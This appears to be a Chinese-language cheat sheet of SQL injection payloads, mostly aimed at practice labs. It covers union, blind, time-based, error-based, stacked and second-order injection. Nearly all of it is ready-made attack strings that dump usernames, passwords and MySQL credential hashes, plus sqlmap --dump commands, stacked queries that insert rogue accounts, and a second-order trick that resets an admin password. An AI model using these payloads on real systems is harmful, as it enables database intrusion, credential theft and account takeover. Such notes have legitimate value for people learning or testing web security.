联合查询:
?id=-3 order by 3 --+
?id=-3 union select 1,2,3 --+
?id=3 union select 1,database(),user() --+
?id=-3 union select 1,group_concat(schema_name),3 from information_schema.schemata--+
?id=-3 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
?id=-3 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
?id=-3 union select 1,group_concat(username), group_concat(password) from users --+
or
?id=-3 union select 1,group_concat(username,0x3a,password) from users --+
盲注:
1' and sleep(10)--+
or
1' and 1=1 1' and 1=2 1' and '1'='1 1' and '1' ='2
1' and if(2>1,1,0)#2大于1,输出1,反之输出0.
判断库名的长度:
1' and if(length(database())=4,1,0)--+
判断数据库名第一位:
1' and if(substring(database(),1,1)='d',1,0)#判断数据库第一个字是不是字符 d,如果是返回 1 否则返回 0 。
1' and if(SUBSTRING(database(),2,1)='v',1,0)#判断数据库第二个字是不是字符 v,如果是返回 1 否则返回 0 。
burp配合获取库名:Cluster bomb模式
1' and if(substring(database(),1,1)='d',1,0)--+
paload 1
paload 2
burp配合获取表名:
1'and if(substring((select TABLE_NAME from information_schema.TABLES whereTABLE_SCHEMA=database() limit 1),1,1)='g',1,0)--+ 第一个表
1'and if(substring((select TABLE_NAME from information_schema.TABLES whereTABLE_SCHEMA=database() limit 1,1),1,1)='g',1,0)--+ 第二个表
1'and if(substring((select TABLE_NAME from information_schema.TABLES whereTABLE_SCHEMA=database() limit 2,1),1,1)='g',1,0)--+ 第三个表
number
字典
---------------------------------------------------------------------------------------------------------------------------------
or:
1'and if(substring((select TABLE_NAME from information_schema.TABLES whereTABLE_SCHEMA=database() limit 0,1),1,1)='g',1,0)--+
第几个表,number,从0开始(0,1)
表的第几个字母 number 1到40,step 1(每次递增1)
字典 Simple list
burp配合获取列名:
1'and if(substring((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' and TABLE_SCHEMA=database() limit 1,1),1,1)='u',1,0)--+
1'and if(substring((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 1,1),1,1)='u',1,0)--+
第几个列,number 1到10,step 1
列名的第几个字母 number 1到40,step 1(每次递增1)
字典 Simple list
burp配合获取账号密码:
首先判断查询账号和密码的长度
1'and if((SELECT LENGTH(CONCAT(user,0x3a,PASSWORD)) from users limit 1)=38,1,0)--+
number 模式 1到40 step 1
使用 burpsuie 获取账号和密码
1'and if(substring((select CONCAT(user,0x3a,PASSWORD) from users limit 1),1,1)='a',1,0)--+
or
1'and if(substring((select CONCAT(user,0x3a,PASSWORD) from users limit 0,1),1,1)='a',1,0)--+0 获取第一个账号
number 模式 1到100 step 1
字典
报错注入:
判断是否存在报错注入:
输入单引号 如果报错有可能存在报错注入,如果拼接 SQL 语句带入到 mysql 执行即存在报错注入。
显示库名:
1'and info()--+ 显示当前库名
1'and (updatexml(1,concat(0x7e,(select user()),0x7e),1))--+显示当前用户
1'and (updatexml(1,concat(0x7e,(select database()),0x7e),1))--+显示当前数据库名
1'and (updatexml(1,concat(0x7e,(select version()),0x7e),1))--+显示mysql版本信息
采用 updatexml 报错函数 只能显示 32 长度的内容,如果获取的内容超过 32 字符就要采用字符串截取方法
黑盒模式下的报错注入:
报错注入获取 mysql 账号和密码
1' and (updatexml(1,concat(0x7e,(select (select authentication_string from mysql.user limit 1 )),0x7e),1))--+前32位密码
1' and (updatexml(1,concat(0x7e,(select (substring((select authentication_string from mysql.user limit 1),32,40))),0x7e),1))--+第32位到40位
报错注入获取表名
1'and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+获取第一个表名
1'and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 1,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+获取第二个表名
报错注入获取字段名
在获取表名之后就可以获取字段名,如获取 usrs 的字段名获取第一个字段名
1'and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name='users' LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+获取第一个字段名
1'and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name='users' LIMIT 1,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+获取第二个字段名
使用 burpsuite 批量对字段批量获取
number 1到20 step 1
设置过滤 options > Grep-Extract > add > Refetch response > 选取
报错注入获取某表某段内容
获取账号密码
1'and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,user,0x3a,password,0x23) FROM users limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+第一个账号密码
1'and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,user,0x3a,password,0x23) FROM users limit 1,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+第二个账号密码
使用 busrpsuite 对用户获取
设置变量 > 过滤
设置过滤 options > Grep-Extract > add > Refetch response > 选取
延时注入
在 mysql 里 函数 sleep() 是延时的意思,sleep(10)就是 数据库延时 10 秒返回内容。
判断注入可以使用'and sleep(10) 数据库延时 10 秒返回值 网页响应时间至少要 10 秒 根据这个原理来判断存在 SQL 时间注入。
mysql 延时注入用到的函数 sleep() 、if()、substring()select if(2>1,sleep(10),0) 2>1 这个部分就是你注入要构造的 SQL 语句。
select if(length(database())>1,sleep(5),0) 这个就是查询当前库大于 1 就会延时 5 秒执行。
-1' or if(length(database())>1,sleep(5),0)--+ 可以看到网页是大于五秒返回。根据这个原理 n>1 n 不延时就能确定当前数据库的长度了。
sqlmap 检测
sqlmap -u "http://192.168.0.134/06/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name -v 1 --technique=T
-u 表示检测的 url
-p 指定的检测参数
-v 显示调试模式
--technique=T 检测方法为时间注入
sqlmap -u "http://192.168.0.134/06/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name -v 1 --technique=T --current-user --current-db --batch
--current-user 获取用户
--current-db 当前库
--batch 使用默认模式 自动 y
获取表
sqlmap -u "http://192.168.0.134/06/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name -v 1 --technique=T -D pikachu --tables --batch
-D 指定数据库
--tables 获取表
获取字段
sqlmap -u "http://192.168.0.134/06/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name -v 1 --technique=T -T users -D pikachu --columns --batch
--columns 获取字段
-T 某个表
sqlmap 查询账号和密码
sqlmap -u "http://192.168.0.134/06/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name -v 1 --technique=T -C "id,username,password" -T users -D pikachu --dump --batch
--dump 导出数据
-C 指定查询的字段
堆叠注入
堆叠查询:堆叠查询可以执行多条 SQL 语句,语句之间以分号(;)隔开,而堆叠查询注入攻击就是利用此特点,在第二条语句中构造要执行攻击的语句。
在 mysql 里 mysqli_multi_query 和 mysql_multi_query这两个函数执行一个或多个针对数据库的查询。
多个查询用分号进行分隔。
但是堆叠查询只能返回第一条查询信息,不返回后面的信息。
select version();select database()
堆叠注入的危害是很大的 可以任意使用增删改查的语句,例如删除数据库 修改数据库,添加数据库用户。
检测是否存在注入
1' and 1=1 --+
1' and 1=2 --+
查询表
-1' union select 1,2,(select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 1)--+
查询字段
-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where TABLE_NAME='users' limit 1)--+
增加账号
知道表的列的情况下使用 insert into 插入语句进行增加账号。如果是管理表 直接添加管理员账号即可登录后台
-1';insert into users(id,username,password)values(666,'wang','123456')--+
id=666 username=wang password=123456
or
-1';insert into users values(666,'wang','123456')--+
修改信息
将数据库密码插入到id=22
-1';insert into users values(22,(select authentication_string from mysql.user limit 1),'123456')--+
将数据库版本插入到id=22
-1';insert into users values(22,(select version()),'123456')--+
访问id=22就可以查看信息
二次注入
黑盒环境下进行二次注入测试
先确定测试的网站是否进行过滤,一般情况下网站都会对输入的参数进行过滤,然后寻找可能会带入恶意数据二次使用的地方。
出现处 例如:
用户注册->修改密码
邮箱注册->修改密码
文章添加->文章编辑。
找一切存在二次使用的功能点。
二次注入测试 SQL 注入,二次注入多数是字符型注入,所以要注意闭合问题。
测试是否存在二次注入:
现在注册用户 a’ 再分别注册用户 a' and 1=1# a' and 1=2# 再来可能触发的地方。
修改用户 a' and 1=1#的密码,从而导致用户a的密码被修改
同理,已知用户admin,注册 admin'#用户,然后修改admin'#用户的密码,导致成功修改admin用户的密码